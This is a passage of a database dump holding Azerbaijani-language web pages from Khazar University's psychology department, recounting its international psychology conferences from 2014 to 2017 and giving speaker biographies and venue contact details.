style=\"text-align:justify\">Dr.Mustafa Çay</p><p style=\"text-align:justify\">Dos.Dr. Ebülfez Süleymanlı</p><p style=\"text-align:justify\">Dr. İkram Rüstəmov</p><p style=\"text-align:justify\">Prof.Dr. Nevzat Tarhan</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">2016-cı ildə keçirilən Azərbaycan 3-cü Beynəlxalq Konfransında dəvət edilən qonaqlarımız:</p><p style=\"text-align:justify\">Prof.Dr. Tuncay Ergene</p><p style=\"text-align:justify\">Prof.Dr. Mehmet Eskin</p><p style=\"text-align:justify\">Prof.Dr. Ceylan Daş</p><p style=\"text-align:justify\">Dos.Dr. Selim Günüç</p><p style=\"text-align:justify\">Dos.Dr. Ramin Əliyev</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">2017-ci ildə keçirilən Azərbaycan IV Beynəlxalq Psixologiya&nbsp;konfransımızın qonaqları:</p><p style=\"text-align:justify\">Dos.Dr Aytən ZARA&nbsp;</p><p style=\"text-align:justify\">Prof.Dr. Ali Kemal Tekin</p><p style=\"text-align:justify\">Prof.Dr. Yaşar Özbay</p><p style=\"text-align:justify\">Dos.Dr. Burhanettin Kaya&nbsp;</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>Nələr qazandıq?</strong></p><p style=\"text-align:justify\">Prof. Dr. Aysun Tulay Bozkurt öz simpatikliyi və sahəsində biliyi ilə bizləri “fərginə varma və güclü tərəflərimiz ” mövzusu ilə qarşıladı. Dünyada sevgini, birliyi aşılayan mütəxəssisimiz iştirakçılarımızda böyük maraq doğurdu.</p><p style=\"text-align:justify\">Dos.Dr. Mehmet Şakiroğlu və Dr.Ozanser Uğurlu gənçlərin böyük rəğbəti ilə qarşılandı. Bunun səbəbi var idi. Gündəlik&nbsp;dilimizdə eşq, sevgi sözünü çox eşitsək də dünya praktikasında bununla əlaqədar elmi tədqiqatlarla zəngin “Sevgi psixologiyası” ilə tanış olduq və belə bir sahənin varlığı elm kimi inkişafını öyrənmək həyatımıza rəng qatdı.</p><p style=\"text-align:justify\">Öz dəyərli və gözəl nitqi ilə Dr. Sevilay Zorlu “Cinsi pozuntular və cinsi terapiyalar” mövzusunda praktik nümunələrlə də iştirakçılarda maraq doğurdu.</p><p style=\"text-align:justify\">Satir Ailə terapisti Sibel Usluer Erenel “Ailə terapiyası” mövzusu ilə ailə psixologiyası sahəsində tətbiqi nümunələrlə peşakar inkişamıza dəstək oldu.&nbsp;</p><p style=\"text-align:justify\">Bu ilk təcrübə və iştirakçılardan gələn müsbət fikirlər bizə ilham verdi və biz 2015-ci il 25-26 aprel tarixlərində&nbsp;ikinci konfransımızı eyni&nbsp;həvəs və daha çox iştirakçı ilə baş&nbsp;tutdu.</p><p style=\"text-align:justify\">Uşaq psixiatrı İkram Rüstəmov “Günümüzün ən aktual uşaq psixi problemlərinə psixiatrik yanaşma”, tibb elmləri doktoru Cem Kınacı “Autizmin diaqnoz və müalicəsində multidisiplinar yanaşma”, psixiatr, psixoterapevt İbrahim Bilgen “Həyəcan pozuntuları zamanı psixoterapevtik yardım”,NLP üzrə mütəxəssis Mustafa Çay “NLP – neyrolinqvistik proqramlaşdırma”, sosioloq Əbülfəz Süleymanlı “Tənhalıq probleminin sosioloji və psixoloji mahiyyəti” adlı mövzularda çıxış edərək, iştirakçıları məlumatlandırdılar.&nbsp;</p><p style=\"text-align:justify\">Konfransın ikinci günündə isə beş müxtəlif mövzuda – “Autizmin diaqnozu və müalicəsinə multidisiplinar yanaşma” (Cem Kınacı),</p><p style=\"text-align:justify\">“Həyəcan pozuntuları zamanı psixoterapevtik yardım” (İbrahim Bilgen), “Müalicə prosesinin uğurunda psixoterapevtik meyarlar” (Nevzat Tarhan),&nbsp;“NLP – neyrolinqvistik proqramlaşdırma” (Mustafa Çay) və “Uşaqlarda affektiv xəstəliklər, müalicə və izlənməsi” (İkram Rüstəmov) təlim xarakterli seminarlar keçirilmişdir.</p><p style=\"text-align:justify\">2016-cı il 23-24 aprel tarixlərində keçirilən Üçüncü konfransımız isə digər konfranslarımız kimi eyni uğurla davam etmiş və Xəzər psixoloji xidmət mərkəzinin dəstəyi ilə gücünə güc qatmışdır.&nbsp;</p><p style=\"text-align:justify\">Türkiyədə və dünyada Gestalt nəzəriyyəsi və terapiyasında dəyərli çalışmaları olan Prof.Dr.Ceylan Daş Geştalt Terapiyasını nəzəri və praktiki cəhətdən iştirakçılara izah etmiş və cox sayılı suallara ətraflı cavab vermişdir.</p><p style=\"text-align:justify\">Prof. Dr. Mehmet Eskin Homoseksuallıq kimi aktual məsələ haqqında ətraflı müzakirələrə şərait yaratdı.</p><p style=\"text-align:justify\">Prof.Dr.Tuncay Ergene – İmtahan həyəcanının öhdəsindən gəlmək: Koqnitiv Davranışcı Yanaşmanın açıqlama gücü ilə yeniyetməlik dövründə olan şagirdlərimizə və övladlarımıza necə dəstək olacağımız bizə öyrətdi.</p><p style=\"text-align:justify\">Doç.Dr.Selim Günüç – Uşaqlarda İnternet və Rəqəmsal (digital) Oyun Asılılığı, Xüsusi ilə son zamanların ən aktual problemi olan internet asılılığı ilə bağlı anlatımı və keçirdiyi testlər ilə Selim Gülüç böyük diqqət görmüşdür.</p><p style=\"text-align:justify\">Həmvətənlimiz&nbsp;və Türkiyədə fəaliyyətini davam etdirən Doç.Dr.Ramin Əliyevin “dayanıqlılıq”&nbsp;çətin hadisələrlə başa çıkma, yenidən həyata tutunma kimi yeni, aktual mövzuya diqqət çəkərək bu sahəyə ölkəmizdə maraq oyatdı.</p><p style=\"text-align:justify\">2017- ci ildə isə IV Beynəlxaq Pxisologiya Konfransı baş tuttu və ənənəyə çevrilmiş hadisə son dərəcə sevindirici haldır. Bizlər artıq təcrübə qazanaraq və iştirakçılarımızın dəstəyi, təklifi və istəklərini nəzərə aldıq. Keçən il nəinki Türkiyədən, eyni zamanda Rusya,Omandan da mütəxəssislər dəvət etdik.&nbsp;</p><p style=\"text-align:justify\">Xəzər Universitetinin dəstəyi və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə keçirilən 4-cü konfransımızda qonaqalrımız Dos. Dr. Ayten Zara, Dos.Dr.Dərya Cəfərzadə, Prof.Dr.Yaşar Özbəy, Dos.Dr.Burhanettin Kaya və Prof.&nbsp;Dr.&nbsp;Ali Kemal Tekin oldu.</p><p><br></p>\r\n<p><strong><img src=\"/files/image/15_05_15_Nevzat_Tarhan.jpg\" style=\"border:0px  #000000;width:150px;height:151px;margin:7px;vertical-align:text-bottom;float:left\">Nevzat Tarhan</strong></p><p style=\"text-align:justify\">Nevzat Tarhan 1952-ci ildə Merzifon-da anadan olmuş, 1975-ci ildə İstanbul universiteti Cerrahpaşa Tibb fakultəsini bitirmişdir. 1996-cı ildə professor dərəcəsini almışdır. 1998-ci ildən “Memory Center of America”nın Türkiyə təmsilcisi olmuşdur. 31-i beynəlxalq olmaq üzrə&nbsp;100-dən artıq təqdimatı vardır.&nbsp;Hazırda “NPİSTANBUL Nevropsixiatriya” xəstəxanasında baş həkim və Üsküdar universitetində qurucu rektor kimi fəaliyyət göstərməkdədir.</p>\r\n<p><br></p><p><br></p><p><strong><strong><img src=\"/files/image/15_05_15_Necip_Cem_Kinaci.jpg\" style=\"width:150px;height:120px;margin:7px;float:left\">Dr. Necip Cem Kınacı&nbsp;</strong></strong></p><p style=\"text-align:justify\">Dr. Necip Cem Kınacı 1958-də İstanbudal doğulmuş, İstanbul Üniversiteti Tibb fakultəsini 1984-cü ildə Tibb Doktoru olaraq bitirmişdir. 1996-cı ildə “Adana Diomed Tıp Merkezi”-də rəhbər vəzifədə çalışmağa başlamışdır. 2004 cü ildən autizmlə mübarizə üçün öz təhsilini daha da təkminləşdirmişdir. İlk olaraq “Autism Research Institute” daha sonra “ American College for Advancement in Medicine” və sonda isə “Medical Academy for Pediatric Special Needs” də təhsilini yüksəldərək artıq həm ölkədaxili, həm də ölkə xaricində kifayət qədər tanınmış bir mütəxəssisə çevrilmişdir. Bir sıra beynəlxalq konfranslara fəxri qonaq kimi dəvət olunmuşdur.&nbsp;</p>\r\n<p><strong><br></strong></p>\r\n<p><strong><img src=\"/files/image/15_05_15_Ebulfez_Suleymanov.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\">Süleymanov Əbülfəz&nbsp;</strong></p><p style=\"text-align:justify\">Süleymanov(lı) Əbülfəz 1975-ci ildə Ucar rayonunda anadan olmuş, 1991-ci ildə Türkiyənin İstanbul Universitetinin sosiologiya fakültəsinə dövlət xətti ilə qəbul olmuş və 1995-ci ildə buradan məzun olmuşdur. 1998-ci ildə İstanbul Universitetində dissertasiya müdafiə edərək magistr dərəcəsini qazanmışdır. 2003-cü ildə yenə İstanbul Universitetində elmi işi müdafiə edərək sosiologiya elmləri üzrə fəlsəfə doktoru elmi dərəcəsi almağa layiq görülmüşdür. 2012-ci ildə Türkiyədə girdiyi imtahanda dosent ünvanı qazanmışdır. Həmin il İstanbul Üsküdar Üniversitetində Sağlıq Bilimləri Fakültəsində sosial iş kafedrasında müəllim və 2014-cü ildən həmin Universitetin İnsan və Sosial Elmlər Fakültəsi sosiologiya kafedrasının müdiri vəzifəsində çalışmaqdadır&nbsp;</p><p><strong><strong><br></strong></strong></p><p><br></p><p><strong><strong>Mustafa Çay</strong>&nbsp;</strong><strong><strong><img src=\"/files/image/pastedImage.png\" style=\"width:150px;height:172px;margin:7px;float:left\"></strong></strong></p><p style=\"text-align:justify\">Mustafa Çay, Neuro-Linguistic Proqramlaşdırma mövzusunda mütəxəssis-pedaqoq lisenziyasına sahib bir təlimçidir. Bakalavr təhsilini Ankara Universitetinin İqtisadiyyat fakültəsində tamamlamış, həmçinin, həmin Universitetdə “İctimai əlaqələr” üzrə də təhsil almışdır. “New Port International University”-də psixologiya üzrə magistratura təhsilini tamamlamışdır.Mütəxəssis olaraq, professional iş həyatı boyunca 500-dən çox seminar vermiş, 67 NLP pratisyen və 26 NLP üzrə təlim vermişdir.</p><p><strong><br></strong></p><p><br></p><p><strong><strong>İbrahim Bilgen</strong>&nbsp;</strong><strong><strong><img src=\"/files/image/ibrahim.png\" style=\"width:150px;height:129px;margin:7px;float:left\"></strong></strong></p>\r\n<p style=\"text-align:justify\">İbrahim Bilgen 1968-ci ildə Adanada dünyaya göz açmışdır. 1994-cü ildə Çukurova Universitetinin Tibb Fakültəsindən məzun olmuş, 2001-ci ildə isə Çukurova Universitetinin Tibb Fakültəsini psixatriya üzrə doktor kimi tamamlamışdır.Asistentlik təhsili dövründə , 5 il \"Psixodrama və qrup terapiyası\" təhsili, 6 il xüsusilə \" Uşaq və yeniyetmələr üçün ailə Terapiyası” ilə əlaqəli olan Geştalt terapiya təhsili, 7 il müddətində “Anksiyete Pozuntuları ve Depresiya” ilə aidiyyatlı olan “ Koqnitiv Davranış Terapiyası” təhsilini yüksək səviyyədə bitirmişdir. 2012-ci ildə “ Bilgen Terapi Enstitüsünü” qurmuşlardır. Hazırda həmin mərkəzdə psixiatr və psixoterapevt olaraq çalışmaqdadır.&nbsp;</p>\r\n<p><strong><strong><br></strong></strong></p><p><strong><strong>İkram Rüstəmov</strong></strong><strong><strong><img src=\"/files/image/15_05_15_Ikram.jpg\" style=\"width:150px;height:123px;margin:7px;float:left\"></strong></strong></p>\r\n<p style=\"text-align:justify\">İkram Rüstəmov 1981-ci il mayın 5-də Laçında dünyaya göz açmış, 7-ci sinifə qədər orada təhsil almış, sonradan isə təhsilini Bakıda davam etdirmişdir. İkram Rüstəmov 2003-2009-cu illərdə Türkiyənin İstanbul Üniversiteti Cerrahpaşa Tibb fakültəsində təhsil almış və eyni universitetdə uşaq psixiatriyası üzrə uzmanlıq keçmişdir. Uşaq psixiatriyası və uşaq nevrologiyası üzrə 5 illik rezidentura proqramını keçdikdən sonra uşaqlıq depressiyasında vizual diqqət problemləri ilə əlaqəli dissertasiyanı müdaifə edərək, həkim psixiatr, uşaq psixiatrı mütəxəssisi adını almışdır. 2014-cü ilin avqust ayından 2015-ci ilin fevral ayınadək Harvard Universitetinin Boston Uşaq Xəstəxanasında fəaliyyət göstərmişdir.&nbsp;</p>\r\n<p><br></p>\r\n<p><strong>Dr. Mehmet&nbsp;Şakiroğlu&nbsp;</strong><strong><img src=\"/files/image/14_05_05_mehmet_sakiroglu.jpg\" style=\"width:150px;height:176px;margin:7px;float:left\"></strong></p><p style=\"text-align:justify\">Dr. Mehmet Şakiroğlu 15 İyul 1977-ci ildə Muğlada anadan olub. 1995-2002–ci illəri arasında Orta Şərq Texniki Universitetində (ODTÜ) Fəlsəfə və Psixologiya bölümləri üzrə bakalavr təhsilini tamamlamış və psixologiya bölümü üzrə məzun olmuşdur. Həmçinin bu bölümdə kliniki psixologiya üzrə ODTÜ-də magistratura və doktorantura təhsilini tamamlamışdır. 2002-2012–ci illəri arasında ODTÜ Psixologiya bölümündə təhsil işçisi olaraq işləmişdir. 2013-cü ildə isə Dr. Ozanser Uğurlu ilə birlikdə yazdıqları “Aşkın Psikolojisi” adlı kitabı nəşr olunmuşdur. Stress, qayğı, depressiya, fəlakət psixologiyası, xoşbəxtlilik kimi mövzuları barəsində də bir çox məqalə və kitabları vardır. Bundan əlavə olaraq stress, motivasiya, müvəffəqiyyət, qayğı və öfke kontrolü mövzuları ilə bağlı Daxili İşlər Nazirliyi, Təhsil Nazirliyi, Ədalət Akademiyası və bu kimi qurumlara təhsil verməkdədir. Həmçinin Mehmet Şakiroğlu terapevt olmaqla yanaşı, zəlzələ psixologiyası mövzusunda təcrübi və varoluşçu fəlsəfə mövzusunda nəzəri işlər görməkdədir. Hal hazırda isə ODTÜ Psixologiya bölümündə klinik psixoloq olaraq işləməkdədir.  <br></p><p><br></p><strong><img src=\"/files/image/14_05_05_ozanser_ugurlu.jpg\" style=\"width:150px;height:176px;margin:7px;float:left\"></strong><p style=\"text-align:justify\"><strong>Yrd. Doç. Dr. Ozanser Uğurlu</strong>  <br></p><p style=\"text-align:justify\">Dr. Ozanser Uğurlu 1975-ci ildə Turhalda anadan olub. Orta Şərq Texniki Universitetində (ODTÜ) Psixologiya bölümü üzrə bakalavr təhsilini və Ankara Univeristetində Psixologiya bölümü üzrə magistratura və doktorantura təhsilini tamamlamışdır. Gənclərbirliyi, Manisaspor, Turkiyə Futbol Federasyonunda Psixoloq olaraq işləmişdir. Radio ODTÜ-də və TRT Ankara Radiosunda proqramlar təşkil etmişdir. Bir çox nəşr olunmuş kitabları ( “Aşkın Psikolojisi” , “Bir Zamanlar Her Şey Mümkündü”, “Kadınlar”, “Bütün Erkekler Aynı”) və məqalələri vardır. Bununla yanaşı Psixologiya sahəsində nəzəri və tətbiqi işlər görmək məqsədiylə “ Mutluluk Enstitüsü” qurmuşdur. Hal hazırda isə İDNA Çözüm Odaklı Danışmanlık və Təhsil Mərkəzində fərdlərə və qurumlara performans məsləhətçiliyi etməkdədir.  <br></p>\r\n<p><br></p><p><br></p><p><strong><img src=\"/files/image/14_05_05_sibel.jpg\" style=\"width:150px;height:185px;margin:7px;float:left\">Uzm. Sibel Usluer Erenel</strong>&nbsp;</p><p style=\"text-align:justify\">Lisanslı Ailə və Evlilik terapevtidir. Boğaziçi Universitetində Psixoloji Məsləhətçilik və Rəhbərlik üzrə ilkin magistratura təhsilini tamamlamış və 1994-cü ildə isə Kaliforniya Dövlət Universiteti Haywardda Ailə, Evlilik və Uşaq Terapiyası və Məktəb Məsləhətçiliyi üzrə ikinci magistratura təhsilini tamamlamışdır. ABŞ-da olduğu müddətdə&nbsp;uşaq istismarı, cinayətə yönəlmə, maddə asılılığı və məktəbi tərk etmə kimi risk altındakı uşaqlara, gənclərə və ailələrinə; şiddətə məruz qalmış uşaq və yetişkinlərə və inkişafda çətinlik yaşayan uşaqlar və ailələrinə geniş formada xidmət göstərərək məktəblərdə, qurumlarda və ya bələdiyyə ailə məsləhətləşmə mərkəzlərində 12 il işləmişdir. Virigina Satir Dönüşümsəl Sistematik Müalicə Modeli təhsilini ABŞ-da almış və 2005-ci ildə Türkiyəyə qayıtdıqdan sonra Satir Dönüşümsəl Sistematik Ailə Terapiyası modeli ilə Amerikan Ailə Terapiyası Dərnəyinin Səlahiyyətlərini (AAMFT) və Avropa Ailə Terapiyası meyarlarını diqqətə alaraq Ailə Terapiyası Təhsil Proqramını inkişaf etdirmiş və bu proqram Satir Pasifik Enstitüsü (SİP) tərəfindən təsdiqlənib ortaq sertifikat proqramına çevrilmişdir. Bundan əlavə olaraq Sibel Usluer Erenel tək valideynli, boşanmış valideynli və yenidən evlənmə ilə qurulan ailələr və övladlığa götürülmüş ailələrlə işləmişdir. Bu dönəmdə valideyn-uşaq, cütlər arasındakı əlaqə problemləri, ailədə maddə asılılığının olması, valideynlərin ölümü, boşanma və yenidən ailə qurma vəziyyətində meydana çıxan problemlər və bunun nəticəsində ailə fərdlərindəki təsirlərlə də işləmişdir. Hal hazırda Sibel Usluer Erenel YÖRET Fondunun Vitse Prezidenti, Doğuş Universitetində Ailə Terapiyası üzrə magistr təhsili proqramında supervizordur. Həmçinin Amerikan Ailə və Evlilik Terapevtleri Dərnəyi (AAMFT), Kaliforniya Ailə və Evlilik Terapevtləri Dərnəyi (CAMFT), Satir Pasifik Enstitüsü və The Satir Global Network-ün klinik üzvüdür. Beynəlxalq Ailə Terapiyası Dərnəyinin idarə heyəti üzvü, CATED-in isə qurucu üzvüdür.</p><p><br></p><p><strong><img src=\"/files/image/14_05_05_sevilay_zorlu.jpg\" style=\"width:150px;height:208px;margin:7px;float:left\">Uzm.Dr. Sevilay Zorlu</strong>&nbsp;</p><p style=\"text-align:justify\">Psixiatr və Psixoterapevt Uzm. Dr. Sevilay Zorlu Antalyada anadan olub. Orta təhsilini Ankarada başlayıb Antalyada tamamlamışdır. Antalya Liseyindən məzun olduqdan sonra Doqquz Sentyabr Universitetinə qəbul olmuş və 2-ci sınıfda Akdeniz Universitetinə keçid edərək, 1995-ci ildə təhsilini burada tamamlamışdır. 5 il Antalya Kızılay Qan Mərkəzində “qrup həkimi” olaraq işlədikdən sonra, Antalya Esnaf ve Sanatkarlar 12 nolu Sağlık Ocağında 2 il “pratisyen həkimlik” üzrə işləmişdir. 2008-ci ildə Uludağ Universiteti Tibb Fakültəsi Psixiatriya Anabilim Dalında təhsilini tamamlayaraq Psixiatriya Mütəxəssisi oldu. 2008-2009-cu illəri arasında Siverek/Şanlıurfa Dövlət Xəstəxanasında isə dövlət xidmət öhdəçiliyini tamamlamışdır. 2009-2010–cu illərdə Şəxsi Antalya Medisu Xəstəxanısında Psixiatriya Mütəxəssisliyi və Sərbəst Həkimlik üzrə işləmişdir. Hal hazırda isə şəxsi muayinəxanasında işlərinə davam etməkdədir.</p><p><br></p><p><br></p><p><br></p><p><strong>Prof. Dr. Aysun Tülay Bozkurt</strong>&nbsp;<strong><img src=\"/files/image/aysun.png\" style=\"width:150px;height:172px;margin:7px;float:left\"></strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">Prof. Dr. Tülay Bozkurt 1956-cı ildə anadan olub. 1978-ci ildə Hacettepe Universitetində Psixologiya bölümü üzrə bakalavr təhsilini və 1980-ci ildə California, San Diego, USİU-da Psixoloji Konsultasiya (Counseling Psychology) bölümü üzrə magistratura təhsilini tamamlamışdır. 1986-cı ildə isə Hacettepe Unviersiteti Sosial Bilimlər Enstitüsündə Sosyal Çalışma bölümü üzrə doktorantura təhsilini tamamlamışdır. Həmçinin 2004-2005 –ci illərdə Marmara Univeristeti Executive Development bölümündə koordinator olaraq fəaliyyət göstərmişdir. Hal hazırda isə İstanbul Kültür Universiteti Psixologiya bölümündə Bölüm Başkanı olaraq fəaliyyət göstərməkdədir. Həmçinin İstanbul Kültür Universiteti Fənn Ədəbiyyat&nbsp;Fakültəsinin, İncəsənət və Dizayn Fakültəsinin üzvüdür.&nbsp;</span></p><p><br><br></p><p><strong></strong></p><p><strong style=\"text-align:justify\">PhD&nbsp;Professor&nbsp;</strong><strong style=\"text-align:justify\">Reşit Canbeyli</strong><span style=\"text-align:justify\"></span><strong><img src=\"/files/image/resit.png\" style=\"width:150px;height:214px;margin:7px;float:left\"></strong></p><p style=\"text-align:justify\">Reşit Canbeyli, Ph.D. Professor&nbsp;Boğaziçi Üniversitesi psikoloji bölümünde profesördür. Columbia Üniversitesinden 1968 yılında lisans, 1975 yılında master ve 1977 yılında doktor ünvanını almıştır. İlgi alanları arasında psikobiyoloji ve davranışsal sinir bilimi yer alır.<br></p><p><br></p><p><br></p><p><br></p>  <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><em>Bizlər&nbsp;bir tarix yazaraq özümüzü və dünyanı dəyişdirmək üçün bir aradayıq və&nbsp;2018-ci ildə yenə sizlərlə bir arada dünyanın hər bir güşəsindən və öz vətənimizdən iştirak edəcək güclü&nbsp;psixoloqlarla bir arada olmaq xəyalı ilə Azərbaycan 5-ci Beynəlxalq Psixologiya konfransında iştirak etməyə hər birinizi dəvət edirəm.</em></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>Mələk Kərimova</strong></p><p style=\"text-align:justify\"><strong>Xəzər Universiteti&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Psixologiya Departamentinin Koordinatoru</strong></p><p style=\"text-align:justify\"><strong>Xəzər&nbsp;Psixoloji Xidmət Mərkəzinin direktoru&nbsp;</strong></p>'),(4752,2816,'az','Konfrans Yeri','Konfrans Yeri','<p>Xəzər Universiteti, Azərbaycan</p><p>Neftçilər korpusu -&nbsp;Məhsəti k.&nbsp;41, Bakı,&nbsp;AZ1096</p><p><strong>Telefon:</strong>&nbsp;(+994&nbsp;12)&nbsp;4217916 (275)</p><p><strong>URL:</strong>&nbsp;<a href=\"https://webmail.khazar.org/owa/redir.aspx?C=bfc463c3fdbc4d8f90bc0dd0aa62508b&amp;URL=http%3a%2f%2fwww.khazar.org%2f\" target=\"_blank\" rel=\"noopener noreferrer\">www.khazar.org</a></p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:psychology@khazar.org/\">psychology@khazar.org</a></p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;<a href=\"http://mailto:mkerimova@khazar.org/\">mkerimova@khazar.org</a></p>\r\n<p><iframe width=\"600\" height=\"450\" frameborder=\"0\" style=\"border:0\" src=\"https://www.google.com/maps/embed/v1/place?key=AIzaSyD_gltx6VnkiMgmxdooZ0CcqyUejCpzIaw&q=Khazar+University, Baku\">\r\n</iframe></p>'),(4753,2815,'az','Əsas Təqdimatçılar','Əsas Təqdimatçılar','<p><strong>Prof.&nbsp;Dr.&nbsp;Mehmet Hakan Türkçapar&nbsp;</strong></p><p style=\"text-align:justify\"><img src=\"/files/psycho_depart/mehmet_h.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:170px;margin-left:7px;margin-right:7px\">1990-cı ildə Hacəttəpə universitetində tibb fakültəsində tibb üzrə magistr və bakalavr təhsilini bitirib. 1995-ci ildə Ankara Dışkapı xəstəxanasında doktorantura təhsilini uğurla başa vurmuşdur. 2012-ci ildən etibarən Professor ünvanını almışdır. O təkcə psixiyatriyaya deyil, sosial antropologiyaya da maraq duymuş və 2002 ci ildə Ankara universitetində bu sahə üzrə magistr dərəcəsi, 2009-cu ildə isə yenə bu sahədə doktorluq dərəcəsini almışdır. Mehmet Hakan Türkçapar elmi və peşəkar bir çox dərnəyin fəxri üzvüdür.&nbsp;O, Kognitiv Terapiya Akademiyasının, Amerika Zehni Davranış Terapiya Assosasiyasının, Amerika Psixiyatriya Assosiasiyasının, Qrup Psixoterapiyaları Dərnəyinin, Psixofarmakologiya dərnəyinin fəxri üzvü, Türkiyə Psixiyatriya Dərnəyinin qurucu üzvüdür. 1996, 1998-ci illərdə Psixiyatriya,Psixologiya, Psixofarmakologiya jurnalı tərəfindən ən yaxşı tədqiqatçı elan edilmiş və mükafata layiq görülmüşdür. Zehni davranış terapiyasında əsaslı dərs kitablarının, beynəlxalq jurnallarda sanballı tədqiqatların müəllifidir.&nbsp;Hal hazırda Hasan Kalyoncu Universiteti Psixologiya Bölümünün kafedra müdiri olmaqla yanaşı, elmi fəaliyyətini də davam etdirməkdədir.</p><p><br></p><p><br></p><p><br></p><p><strong>Prof. Dr.&nbsp;Nilufər Voltan Acar</strong></p><p style=\"text-align:justify\"><img src=\"/files/psycho_depart/nilufer_v.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px\">1974-cü ildə Hacəttəpə Universiteti Psixologiya və Sosiologiya bölümündən məzun olub. 1975-1980-ci illərdə Magistratura və Doktorantura təhsilini Hacəttəpə Universiteti Rəhbərlik və Psixoloji Konsultasiya ixtisasında tamamladı. 1980-1994 cü illər ərzində Psixodrama təlimləri apardı.1994 cü ildə psixodrama ilə əlaqədar tez yazaraq, Alman Moreno İnstitutunun Ankara Universiteti ilə birlikdə təşkil etdiyi psixodrama təhsilini yekunlaşdırdı və Psixodrama yönəticisi ünvanını aldı. 1997-2007-ci illər ərzində Hacəttəpə Universiteti Rəhbərlik və Psixoloji Danışmanlıq bölümünün müdiri və Hacəttəpə Gənçlik Tədqiqat və Tətbiq mərkəzi müdürlüyündə fəaliyyət göstərdi. 2003-2004 Cliveland Gestalt İnstitunun müəllimi,Dr.Kepner tərəfindən verilən 214 saatlıq “Bədən funksiyalarında Gestalt Terapiya” adlı təlimi uğurla başa vurdu.2001-2004-cü illərdə Gestalt təlimi İnstitutundan mütəxəssis sertifikatını aldı. 1995-2002-ci illərdə Gestalt terapiyasını tamamlayaraq,Gestalt təlimçisi ünvanını aldı. 1995-ci ildə Hacəttəpə Universitetində Professor oldu. Amerikan Psixoloqlar Dərnəyinin, Beynəlxalq Psixoloqlar Konseyinin, 1996-2003-cü illərdə Türk Psixoloji Xidmət və Rəhbərlik Dərnəyinin qurucusu və rəhbəri,&nbsp;Beynəlxalq Məktəb Psixologiyası Dərnəyinin fəxri üzvüdür. Hal-hazırda Ankara TED universiteti Təhsil fakültəsinin dekanı olaraq fəaliyyətini davam etdirir.&nbsp;Qrupla psixoloji konsultasiya,&nbsp;qrup dinamikası, psixoloji konsultasiyada ünsiyyət bacarıqları, psixoloji konsultasiyada nəzəriyyələr və tətbiqi, Gestalt terapiyası maraqlandığı və tədqiq etdiyi sahələrdir.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p><strong>Dos.&nbsp;Dr.Ejder&nbsp;Akgün Yıldırım</strong></p><p style=\"text-align:justify\"><img src=\"/files/psycho_depart/yildirim.jpg\" style=\"float:left;width:150px;height:135px;margin-left:7px;margin-right:7px\">1997-ci ildə Cərrahpaşa İngiliscə Tibb Fakültəsindən məzun oldu.Eyni ildə Bakırköy Ruhi sağlıq və Sinir Xəstəlikləri Təhsil və Tədqiqat Xəstəxananın 2.Nevroz bölümündə fəaliyyətə başladı. 2002-ci ildə rezidenturanı tamamladı və eyni bölümdə baş asistant olaraq fəaliyyətinə başladı. 1999-cu ilində İstanbul universiteti Cərrahpaşa Tibb Fakültəsində Fiziologiya sahəsində doktorantura təhsilinə başladı və 2004-cü ildə doktaranturanı uğurla başa vurdu. 2006-cı ildə Psixodrama terapisti ünvanını aldı.&nbsp;Koterapist olaraq Prof. Dr.Arşaluys Kayırla birlikdə işlədi. 1997-ci ildə Doç.Dr.Ali Babaoğlunun yanında qrup terapiyaları təhsilinə başladı. 200 saat Foulkes tipi dinamik qrup terapiyası sonrasında xarici ölkə terapistlərindən Balint qrupları,&nbsp;Klinik qruplar,&nbsp;Jungien Psixodrama təhsili aldı. 1999-da Böyük Mərmərə zəlzələsində Halıdərə sağlıq mərkəzinin rəhbəri kimi işlədi. 2000-2001 Türk Həkimlər Birliyinin cəzaevləri müşahidəçisi olaraq fəaliyyət göstərdi. 2005 ilində Cinsi Müalicə və Tədqiqat Dərnəyinə cinsi terapist kimi qəbul edildi. 2012-ci ildə psixiyatriya dosenti oldu. Türk Psixiyatriya Dərnəyinin Dinamik Dəstəkləyici Psixoterapilər təlimçisi, Avropa Seksologiya Federasiyasının fəxri sertifikat sahibi,&nbsp;Türk Nevropsixiyatriya Dərnəyinin və Cinsi Təhsil,Müalicə və Tədqiqat Dərnəyinin elmi şöbəsində aktiv fəaliyyət göstərir. Hazırda Bakırköy Ruhi Sağlıq,Təhsil və Tədqiqat Xəstəxanasında Psixoterapiya təhsili və müalicə mərkəzinin koordinatoru olaraq fəaliyyətinə davam edir. Hal hazırda Özbək Psixodrama İnstitutunun təlimçilərindən olub, 2000 saatlıq qrup psixoterapiyası, qrup dinamikaları, sosial fobiya qrupları,&nbsp;üst səviyyə xəstə qrupları ilə təcrübəyə sahibdir.</p><p><br></p><p><br></p><p><strong>Prof.&nbsp;Dr.&nbsp;Ebru&nbsp;Çengel Kültür</strong></p><p style=\"text-align:justify\"><img src=\"/files/psycho_depart/kultur.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px\">O, 1996-cı il Hacəttəpə universitetinin tibb fakültəsindən məzun oldu. 2002-ci ildə Hacəttəpə Universiteti Uşaq Ruh Sağlığı və Xəstəlikləri bölümdə ixtisasını tamamladı. 2002-2006-ci illər arasında eyni bölümdə akademik karyerasını davam etdirdi.2006-cı ildə Dosentlik ünvanını aldı. Kanadada Toronto Universitetinin xəstə uşaqlar üçün xəstəxanasının “Uşaq və Yeniyetmə Psixiyatriya” şöbəsində “Diqqət əksikliyi və hiperaktiv pozuntu və onunla əlaqəli xəstəliklər” sahəsində 4 aylıq klinik müşahidə və tədqiqat işi apardı. 1997-1999-cu illər arasında Prof. Dr. Leyla Zileli tərəfindən aparılan və 